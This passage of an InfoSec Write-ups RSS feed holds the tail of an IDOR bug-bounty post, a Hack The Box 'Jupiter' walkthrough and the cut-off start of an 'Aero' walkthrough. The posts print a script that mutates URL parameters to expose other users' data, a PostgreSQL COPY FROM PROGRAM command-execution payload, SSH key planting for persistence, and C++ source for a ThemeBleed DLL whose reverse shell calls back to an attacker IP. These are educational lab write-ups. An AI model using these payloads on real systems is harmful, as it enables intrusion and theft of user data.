with constant parts<br>original_v = &quot;vnnt {xrjo} nnnr {tgx} ntkx {tgyj} yinvr {mrzo} jyg {tnkxn} ugor {qnjn} zyjr {irgirnittghn}&quot;<br># Function to make random changes to the &#39;v&#39; parameter<br>def alter_v(original_v):<br> # Split the original parameter into constant and changeable parts<br> parts = original_v.split(&#39;{&#39;)<br> constant_parts = [&#39;{&#39; + part for part in parts[1:]]<br> changeable_part = parts[0]<br># Generate random changes to the changeable part<br> num_changes = random.randint(1, len(changeable_part) - 1)<br> change_indices = random.sample(range(len(changeable_part)), num_changes)<br> altered_changeable_part = list(changeable_part)<br>for index in change_indices:<br> altered_changeable_part[index] = random.choice(string.ascii_lowercase)<br># Construct the altered &#39;v&#39; parameter<br> altered_v = &#39;&#39;.join(altered_changeable_part + constant_parts)<br> return altered_v<br># Generate and print altered &#39;v&#39; parameters<br>for i in range(5):<br> altered_parameter = alter_v(original_v)<br> print(f&quot;Altered &#39;v&#39; Parameter {i + 1}: {altered_parameter}&quot;)</pre><p>This script takes the original ‘v’ parameter, splits it into constant and changeable parts, and then randomly changes some characters in the changeable part while keeping the constant parts intact. It generates and prints five altered ‘v’ parameters as examples.</p><p>Here are responses that I have received, which result in the leakage of each user’s data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEmxL3OMEBnjkGxtXOvnDw.jpeg" /><figcaption>Response_1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9q1GpmQ4LLikqqEQh_oIA.jpeg" /><figcaption>Response_2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVaEV5VRBDfkIB67sC4UNA.jpeg" /><figcaption>Response_3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcb63T1n1MZidT8ZEj6OqA.jpeg" /><figcaption>Response_4</figcaption></figure><p><strong>Resolving the Vulnerability</strong></p><p>To address the IDOR vulnerability, robust authorization and validation mechanisms should be implemented within the application. Relying on predictable patterns or identifiers within URL parameters for user data access must be eliminated. Stringent access controls are essential to prevent unauthorized data breaches.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c2da7855a5a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/1800-bounty-exploiting-unpredictable-data-that-leads-to-all-users-pii-exposure-in-an-idor-5c2da7855a5a">$1800 Bounty: Exploiting Unpredictable Data that Leads to All Users PII Exposure in an IDOR…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jupiter | HTB | Grafana | raw SQL Query | Shadow Simulator RCE | Sattrack]]></title>
            <link>https://infosecwriteups.com/jupiter-htb-grafana-raw-sql-query-shadow-simulator-rce-1ee210ed05f0?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ee210ed05f0</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[jupiter]]></category>
            <category><![CDATA[sattrack]]></category>
            <category><![CDATA[grafana]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Sun, 29 Oct 2023 20:53:45 GMT</pubDate>
            <atom:updated>2023-11-11T07:30:14.347Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oVq9-2nQ_1frrBvyMsg1mg.jpeg" /><figcaption>10/30/2023</figcaption></figure><p>Jupiter is a <strong>medium-level </strong>challenge that kicks off with a Grafana dashboard. The journey begins with the quest to pinpoint a potential entry point within Grafana, allowing for the execution of raw SQL queries by the PostgreSQL database, ultimately leading to code execution on the host. Further exploration involves the exploitation of a cron job within the Shadow Simulator to pivot towards the next user. Subsequently, the path to success includes gaining access to a Jupyter Notebook, providing additional opportunities for advancement. Ultimately, the culmination of this endeavor leads to achieving a root shell through the exploitation of a satellite tracking program called sattrack.</p><p>First, add “<strong>jupiter.htb</strong>” to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*77ml93av3DrE-koRYIPTXw.jpeg" /><figcaption>/etc/hosts</figcaption></figure><p><strong>Enumeration</strong></p><blockquote><strong><em>nmap -p- -sCV — min-rate=1000 10.10.11.216</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*6N4qk9kROVbUS2kkqvB_vQ.jpeg" /><figcaption>nmap</figcaption></figure><p>Two ports are open: 80,22. let’s browse port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UGJocX_eiE05NTppV0c7g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJxWgIzaZU-juitEy2kafg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8kDkSXi8zgFebA-GQcubA.jpeg" /></figure><p>let’s scan for directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*MVPY-dyt1T07gNYYISBV5g.jpeg" /></figure><p>nothing fancy.</p><p>let’s fuzz for additional subdomains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N57OioNdlcQpqPptzCmUJQ.jpeg" /><figcaption>ffuf</figcaption></figure><p>We use the <strong>`-fs`</strong> flag to filter out HTTP responses based on their size. Specifically, we’re filtering responses that have a size of <strong>178 bytes</strong> to limit false positives. The <strong>`-mc`</strong> flag allows us to match specific HTTP status codes. By default, it matches status codes 200, 204, 301, 302, 307, 401, 403, 405, and 500.</p><p>Let’s add this subdomain to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*4UXeb9smhPmLrzRHy9ddjg.jpeg" /></figure><p>Browsing to this subdomain, we can see that it is loading Grafana:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*NC0v7k_rnPyAkj8tsOWKnA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ufqaKcD76RGv9J-Vt0Gog.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTM9eXv4iMr1Wp6NwycTbg.jpeg" /><figcaption>dashboard</figcaption></figure><p>Let’s poke around with the application and intercept the requests. Click on the dashboard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*za3dhwmQZbEP4KLuO8MMQw.jpeg" /><figcaption>initial requst</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62ap8v9BKadP9elVuwENyg.jpeg" /><figcaption>second request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2uOR0X6QsbXm8dkeTRorSA.jpeg" /><figcaption>next request</figcaption></figure><p>At the “<strong>/api/ds/auery</strong>’ endpoint, There is a POST request that includes a ‘<strong>rawSql</strong>’ field and specifies the database type as <strong>PostgreSQL.</strong></p><blockquote><strong>What will happen if we edit the ‘rawSql’ field and send raw queries into the database?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWrwt82oqDtzlSL_PuO0UA.jpeg" /></figure><p>It returned all the details about the database version. Attempting to fetch the username and database name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMQDn3vaIxxEdjuMZaIAjw.jpeg" /><figcaption>database name</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5Ad9CV1dg2Jq2-TKHHJOw.jpeg" /><figcaption>name</figcaption></figure><p>Now, it is time to get RCE using this <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql#rce">link</a>:</p><pre>#PoC<br>DROP TABLE IF EXISTS cmd_exec; <br>CREATE TABLE cmd_exec(cmd_output text); <br>COPY cmd_exec FROM PROGRAM &#39;id&#39;; <br>SELECT * FROM cmd_exec; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1sHJun78vTVKwp4uALtpQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*teKYake3AGIQ4DqYgLMixw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhlZ3xL7rRM0wJjCjrOkkA.jpeg" /><figcaption>RCE — fetch id</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*Zk77GeFj8EW7Nn5r60Gfrw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUcDjxDUXDVyphwqIu96vA.jpeg" /><figcaption>RCE — fetching whoami</figcaption></figure><h3>Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*yLzyKRADkR4ROVUK7Ze-JA.jpeg" /><figcaption>shell</figcaption></figure><p>When I send this, I get a shell. Let’s make our shell interactive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*onyBhkzutN6NzjaaCIImfg.jpeg" /><figcaption>interactive shell</figcaption></figure><p>There are two users in the /home directory but user postgress can not access these directories.</p><p>Let’s see processes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYYZihrtBhb2g3YF6et0cw.jpeg" /><figcaption>ps auxww</figcaption></figure><p>It is running <a href="https://jupyter.org/">Jupyter</a> notebook as jovian with notebooks in the <strong>/opt</strong> folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*Xirojf_v-R_SStVBuFAETw.jpeg" /></figure><p>postgres user can’t access that notebook.</p><h3>pspy</h3><p>To further examine the processes, I’ll use pspy to monitor any cron jobs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*I2-GgWqAZw75je_7YDYdiw.jpeg" /></figure><p>It seems to be running shadow-simulation.sh and using the network-simulation.yml file from /dev/shm. What is shadow simulator? I searched for it and found <a href="https://github.com/shadow/shadow">The Shadow Simulator</a> github repository.</p><blockquote>Shadow is a discrete-event network simulator that directly executes real application code, enabling you to simulate distributed systems with thousands of network-connected processes in realistic and scalable private network experiments using your laptop, desktop, or server running Linux.</blockquote><p>Let’s look at its content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*3dqHxRR0pONjk8KMpHhupw.jpeg" /></figure><p>It sets a stop time of 10 simulated seconds and introduces a system call latency to advance simulated time when running non-blocking system calls. Then configures a network graph with a single vertex having a bandwidth of 1 Gbit, using a built-in network graph type, and then defines host nodes, including a ‘server’ hosting a Python HTTP server process and three ‘client’ hosts running a cURL command to access the ‘server’ after specific start times.</p><p>It appears that this configuration can execute the programs of my choice. I will modify the ‘<strong>network-simulation.yml</strong>’ file located in ‘/dev/shm’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*r6s9tN4cN4rLgGSuKqKTYg.jpeg" /><figcaption>modify</figcaption></figure><p>If we run “<strong>/tmp/sh -p</strong>”, it gives a shell as juno. but still we can not read user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*c1HLrZcZeoFVTIj1KYY29g.jpeg" /></figure><p>Let’s add our <strong>public key</strong> to the authorized_keys file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*ZSotOMlbIBOFU1ZqJhZpNg.jpeg" /></figure><p>After generating the key, we simply need to copy and place it into Juno’s “<strong>authorized_keys</strong>” folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*HNRXuL_eCvMAVjlpCoPIMw.jpeg" /></figure><p><strong>Second method:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*c_-fzfEnyvUrTUAfll0lCA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*Sj6EkXtv3YUsj2B7PZcCsA.jpeg" /></figure><h3>user.txt</h3><p>Now, we can SSH onto the machine as ‘juno’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*_bHi2pvfEzCspBY8LQze9g.jpeg" /><figcaption>user flag</figcaption></figure><h3>Shell as jovian</h3><p>checked for running processes again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmqmyPdZm24-WV_i6AYI7A.jpeg" /></figure><p>I noticed the Jupyter Notebook running under the ‘<strong>jovian</strong>’ account again. However, this time, I gained access to the ‘/opt/solar-flares’ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*Zbpx51LoWgs6e9uwJp6e_Q.jpeg" /></figure><blockquote>The <strong>srart.sh</strong> script launches a Jupyter Notebook server with the following options:</blockquote><blockquote>--no-browser: This flag prevents the Jupyter Notebook from opening a web browser.</blockquote><blockquote>/opt/solar-flares/flares.ipynb: This is the path to the Jupyter Notebook file that will be opened.</blockquote><blockquote>2&gt;&gt; /opt/solar-flares/logs/jupyter-${now}.log: This redirects standard error (file descriptor 2) to a log file in the /opt/solar-flares/logs/ directory. The log file&#39;s name will include the current date and time captured in the now variable.</blockquote><blockquote>&amp;: This runs the Jupyter Notebook server in the background, allowing you to continue using the terminal.</blockquote><blockquote>It uses the date command to capture the current date and time in the format &quot;YYYY-MM-DD-MM&quot; and stores it in the now variable.</blockquote><p>If we inspect the running services using and their associated active ports, we can observe the following: (<strong>ss -tulwn</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ujXrmsbS_PGz3nAaUhE9Vw.jpeg" /></figure><p>There is a service running on port 8888 only on localhost on Jupiter. We can <strong>forward</strong> it to <strong>our machine</strong> using SSH in the following manner:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*NVBo5TdpG_f-wqqfZQ5viw.jpeg" /></figure><p>On loading <strong>localhost:8888</strong> in Firefox, it shows the page, asking for a password/token to get access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RK-xSxcGLlY-XktFPkAjZg.jpeg" /></figure><p>I looked at the logs and found a token to use in the UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4v0D7--2XPKaCbWLI3N6Tg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeWOGMMqSmnWBMNRx5vTNA.jpeg" /></figure><p>we are able to access the jupyter notebooks with that token:</p><pre>http://localhost:8888/?token=4e022e8173965d0a53093848c33ddfc9bad9b9868e8afe92</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwJjEf42KEDONAIQKCLrQA.jpeg" /></figure><p>Let’s open <strong>flares.ipynb</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AG3Kp5yUmOa9GYnY6xTfWg.jpeg" /></figure><p>I could modify the code it ran from the UI. I searched how to run commands and saw that if I use <a href="https://stackoverflow.com/questions/38694081/executing-terminal-commands-in-jupyter-notebook/58047187#58047187">%%bash</a>, (also we can use Python commans) I could use bash commands. pay attention that <strong>Shift-Enter</strong> will run it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6fJxPTZGoYz9T8Ahddygw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mw2jPtglTS0XGuxXHZ4UYw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*heTS50yKBv00NuEXLeD52g.jpeg" /></figure><p>So let’s copy our SSH public key in jovian’s home folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*cYwpit7HI_bpSBqs_G-Yvg.jpeg" /></figure><pre>%%bash<br>mkdir -p /home/jovian/.ssh<br>echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIFZ243r6Tx3h6O/vR5qmd4eAYsWxhakKudboXwagW8DN6pFPZ3Df71zwsL3gOCPDzMfkxUaj0BkNiJsxvMkLGFlRQ5VL4hba2hGWJOybcVr8h+vzobWiUnaEIVdTnhJArMMONHmQwPRr2NFX6QasFK7XElSH9KuYvAp6cO5KVBw9gh6ZyD6C0i6vZB9oRYJVYmTbdd838lj3VsemWoLxUTfDXQPEKIiJqk1o9uKQj1Vb1EbxxWUOq1ZQpSH4g1il5NmmF1EshfhSyvfaIdXyTKpbr/rKRq3NuAF9kCiqykUZVD/Nywlb4LPkHr7JBuxEz2JpEj+h2SV3ZpQ5SIamMeg+hh1WgfyFiCsvOajg14Sd1zWEUNFxUbAoDiCH6MXe3vYQb/2Ah7wFnfDt+vCkfWg7JZDDWa+0t6zTOfLrsW9lSZIDkQgXrlCpeCq22eWiyntpSh47uM2DJzj0xO6ITaGAVK6nEPOhZbdwHNngbRgIuVbHHCwgL7gG7nyTYCg8= root@kali&quot; &gt; /home/jovian/.ssh/authorized_keys<br>chmod 600 /home/jovian/.ssh/authorized_keys<br>ls -la /home/jovian/.ssh</pre><p>Now we can connect with SSH as jovian:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*AHFa05eFyg3M321lkTw1YA.jpeg" /></figure><h3>Shell as root</h3><p>jovian is able to run sattrack as root with sudo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ULnzCI4FTLY0x8aZhcLu4Q.jpeg" /></figure><p>Jovian was granted permission to execute the ‘<strong>sattrack</strong>’ executable, but a configuration file was missing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*rV92_pbGUfT9O-LT1PfM5g.jpeg" /></figure><p>I ran ‘<strong>strings</strong>’ on it, and it seems to read a <strong>JSON</strong> configuration from ‘/tmp.’ The binary makes references to a file named ‘<strong>/tmp/config.json</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*S1VV8gt7YTUnlB1GSZOhfQ.jpeg" /></figure><p>Now that we know the name of the file. we can attempt to search for <strong>config.json</strong> file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*yu5As9y3CS9QXCBs_LjWbg.jpeg" /></figure><p>By copying and inspecting it, we can observe the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*4ItFVSfKhUBYdHNMx29C0A.jpeg" /></figure><p>Upon further investigation, we can determine that the program is the open-source application ‘<a href="https://github.com/hazrmard/SatTrack#sattrack">SatTrack</a>,’ which loads satellite TLE data from a file and parses web sources from it.” So let’s try to request a local file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*lU4twL6Lg7TqIcmOK2Li1Q.jpeg" /></figure><p>If we run the binary again, we are able to read the root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*ZB6x5urRhImc9G-MLcGcaw.jpeg" /><figcaption>root flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ee210ed05f0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/jupiter-htb-grafana-raw-sql-query-shadow-simulator-rce-1ee210ed05f0">Jupiter | HTB | Grafana | raw SQL Query | Shadow Simulator RCE | Sattrack</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aero HTB | Windows 11 RCE & PrivESC | Themebleed | CLFS]]></title>
            <link>https://infosecwriteups.com/aero-htb-windows-11-rce-privesc-themebleed-clfs-36e0379d5e68?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/36e0379d5e68</guid>
            <category><![CDATA[clf]]></category>
            <category><![CDATA[windows-11]]></category>
            <category><![CDATA[themebleed]]></category>
            <category><![CDATA[aero]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Sun, 08 Oct 2023 19:23:39 GMT</pubDate>
            <atom:updated>2023-10-29T18:44:01.955Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*gN2KIhLd2tb115N2rwrVxg.jpeg" /><figcaption>28/09/2023</figcaption></figure><p>Aero is a Windows machine of <strong>moderate</strong> difficulty, featuring two recently discovered vulnerabilities: <strong>CVE-2023–38146</strong>, a Windows 11 Themes Remote Code Execution Vulnerability discovered on September 12, 2023, and <strong>CVE-2023–28252</strong>, a Windows Common Log File System Driver Elevation of Privilege Vulnerability discovered on April 11, 2023. Access to the system is initially gained by skillfully crafting a malicious payload using the <strong>ThemeBleed</strong> proof-of-concept.</p><h3><strong>Enumeraton:</strong></h3><blockquote>nmap -sVC -p- — min-rate 1000 10.10.11.237</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*rIANYUngM6kvokJQBTikpQ.jpeg" /></figure><p>The HTTP server header shows that the webserver is IIS version 10.</p><p>Looking at the results of the Nmap scan, only one port is open: 80. Let’s browse port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_I602mKZssIeSwnnCfETg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wS04OpiEWBuDS4Nsq6OBHw.jpeg" /></figure><p>navigate to the /upload page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-Q7MAZ7O5mITg3i-FZfTg.jpeg" /></figure><p>I attempted to upload a basic image file, but it failed because only files with the extensions ‘<strong>.theme</strong>’ and ‘.<strong>themepack</strong>’ are permitted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*mbzZPZcMlxDtaMUifmntpw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/169/1*XwmXjVbs5dECY560rUEdRQ.jpeg" /><figcaption>allowed extensions</figcaption></figure><p>I attempted to upload a dummy file named ‘<strong>aero.theme</strong>,’ and the upload was successful.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1eI32VULp-phrOYi3D4Qg.jpeg" /></figure><p>Also X-Powered-By header is ARR/3.0. <strong>Application Request Routing</strong> (<strong>ARR</strong>) is an extension to IIS, which enables an IIS server to function as a load balancer. With ARR, an IIS server can be configured to route incoming requests to one of multiple web servers using one of several routing algorithms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*VAzGoQpczrX8GSWtcezWIw.jpeg" /><figcaption>ARR extension</figcaption></figure><p>Let’s perform directory fuzzing using Gobuster to discover any directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*gUhi76lpEz4PFAUqoqRO4Q.jpeg" /></figure><p>nothing fancy.</p><p>According to the challenge description, this machine is related to “<strong>ThemeBleed</strong>.&quot;</p><p>The ThemeBleed vulnerability was listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38146">CVE-2023–38146</a>: a Windows Themes Remote Code Execution (RCE) vulnerability. Microsoft <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-38146">assigned</a> a CVSS score of 8.8 (out of 10) and gave it a severity rating “Important”, saying:</p><blockquote><strong><em>“An attacker would need to convince a targeted user to load a Windows Themes file on a vulnerable system with access to an attacker-controlled SMB share.”</em></strong></blockquote><p>The ThemeBleed exploit is based on a <strong>race condition</strong> that can be triggered by opening a specially crafted<em> .</em><strong><em>theme</em></strong> file. A race condition, or race hazard, is the behavior of a system where the output depends on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended.</p><p>The <strong><em>.theme</em></strong> files contain references to <strong><em>.msstyles</em> </strong>files, which should contain no code, only graphical resources that are loaded when the theme file invoking them is opened. When the .theme file is opened, the .<em>msstyles</em> file will also be loaded.</p><p>The researcher found that invoking a check of the theme version calls the <strong><em>ReviseVersionIfNecessary</em></strong> function and does not safely load a signed DLL (<strong><em>_vrf.dll</em></strong>), because the DLL is closed after verifying the signature, and then re-opened when the DLL is loaded via a call to LoadLibrary. During that interval the file could be replaced by a malicious version. (<a href="https://www.malwarebytes.com/blog/news/2023/09/themebleed-exploit-is-another-reason-to-patch-windows-quickly">https://www.malwarebytes.com/blog/news/2023/09/themebleed-exploit-is-another-reason-to-patch-windows-quickly</a>)</p><h3><strong>POC:</strong></h3><p>Let’s download the compiled executable from the following github repositiry:</p><p><a href="https://github.com/gabe-k/themebleed">https://github.com/gabe-k/themebleed</a></p><p>Identify file types and architectures in a directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*vYPdsdGekigHLJPsTnSfGQ.jpeg" /></figure><p>According to <strong>Gabe Kirkpatrick’s</strong> GitHub, the binaries in the “data” directory correspond to the three files that were sent to the target as part of the Proof of Concept.</p><ul><li>stage_1 - An msstyles file with the PACKTHEM_VERSION set to 999.</li><li>stage_2 - A valid unmodified msstyles file to pass the signature check.</li><li><strong>stage_3 - The DLL that will be loaded and executed. The provided example simply launches </strong><strong>calc.exe</strong>. According to the instructions, to make our own payload, we should create a DLL with an export named <strong>VerifyThemeVersion</strong> containing our code, and replace stage_3 with our newly created DLL.</li></ul><p>So, let’s Generate a malicious DLL:</p><p>1. Open Visual Studio.<br>2. Click on “Create a new project.”<br>3. In the search box, type “DLL.”<br>4. Select the “Dynamic-Link Library (DLL)” Windows C++ Library.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5gdP285RtSTuW09HiZfkGw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*jceYgyRo0m34lVqk2nVYkQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*oFpN40EPJXU8U67Nho6-kw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCF40eLYcG_Lzmd-70PrMw.jpeg" /></figure><p>First, create a test DLL that displays a popup message. Right-click on ‘Source Files’ in the Solution Explorer window, then click ‘Add’ and select ‘New Item.’ Choose ‘<strong>C++ File</strong>’ and name the file ‘<strong>rev.cpp’</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*b1H9dWD8aigZoss-4B6rxg.jpeg" /></figure><p>Right-click on ‘Header Files’ in the Solution Explorer window, then click ‘Add’ and select ‘New Item.’ Choose ‘<strong>Header File (.h)</strong>’ and name the file ‘<strong>rev.h</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*jOlSExC6kbMOPThkH-hv7w.jpeg" /></figure><p>Inside the Header file we add the following lines of code, defining the exported function <strong>VerifyThemeVersion </strong>required by the PoC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*40GzZRV4R7ixTB15cr19-A.jpeg" /><figcaption>rev.h</figcaption></figure><blockquote>This code declares the function VerifyThemeVersion with the __declspec(dllexport) attribute to indicate that it should be exported from the DLL.</blockquote><pre>#pragma once<br><br>extern &quot;C&quot; __declspec(dllexport) int VerifyThemeVersion(void);</pre><p>The following code will display a popup message:</p><pre>#include &quot;pch.h&quot;            // This line includes the precompiled header file &quot;pch.h&quot; if available.<br>#include &lt;stdio.h&gt;          // Includes the standard input-output library.<br>#include &lt;string.h&gt;         // Includes the string handling library.<br>#include &lt;winsock2.h&gt;       // Includes the Windows Socket 2 API.<br>#include &lt;rev.h&gt;            // Includes the custom header file &quot;rev.h&quot;.<br><br>using namespace std;        // This line declares the usage of the &quot;std&quot; namespace.<br><br>int VerifyThemeVersion(void)  // This line defines a function named &quot;VerifyThemeVersion&quot; that takes no parameters (&quot;void&quot;).<br>{<br>    MessageBox(NULL, L&quot;TEST THEME BLEED!&quot;, L&quot;dialogue&quot;, MB_OK);  // This line calls the &quot;MessageBox&quot; function to display a message box with the text &quot;TEST THEME BLEED!&quot; and a title &quot;dialogue&quot; when this function is called. The &quot;MB_OK&quot; flag indicates an OK button in the message box.<br><br>    return 0;               // This line returns an integer value of 0 from the function.<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*cHBmNWHSHEKn4kJWn9ubWg.jpeg" /></figure><p>Let’s Build the solution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*U3w3gk-YUbgJS8z55tUMyQ.jpeg" /></figure><p>When running it with <strong>rundll32</strong>, it shows a popup message that we coded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*YHnr9VHVituQsG-ITK_ouA.jpeg" /></figure><p><strong>We now can create a Reverse Shell using this </strong><a href="https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c"><strong>template</strong></a><strong> but it needs some modifications:</strong></p><h3><strong>Reverse shell (rev.cpp)</strong></h3><pre>#include &quot;pch.h&quot;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;process.h&gt;<br>#include &lt;winsock2.h&gt;<br>#include &lt;ws2tcpip.h&gt;<br>#include &lt;stdlib.h&gt;<br>#pragma comment(lib, &quot;Ws2_32.lib&quot;)<br>#include &quot;rev.h&quot;<br>using namespace std;<br><br>void rev_shell()<br>{<br> FreeConsole();<br><br> const char* REMOTE_ADDR = &quot;10.10.14.150&quot;;<br> const char* REMOTE_PORT = &quot;1234&quot;;<br><br> WSADATA wsaData;<br> int iResult = WSAStartup(MAKEWORD(2, 2), &amp;wsaData);<br> struct addrinfo* result = NULL, * ptr = NULL, hints;<br> memset(&amp;hints, 0, sizeof(hints));<br> hints.ai_family = AF_UNSPEC;<br> hints.ai_socktype = SOCK_STREAM;<br> hints.ai_protocol = IPPROTO_TCP;<br> getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &amp;hints, &amp;result);<br> ptr = result;<br> SOCKET ConnectSocket = WSASocket(ptr-&gt;ai_family, 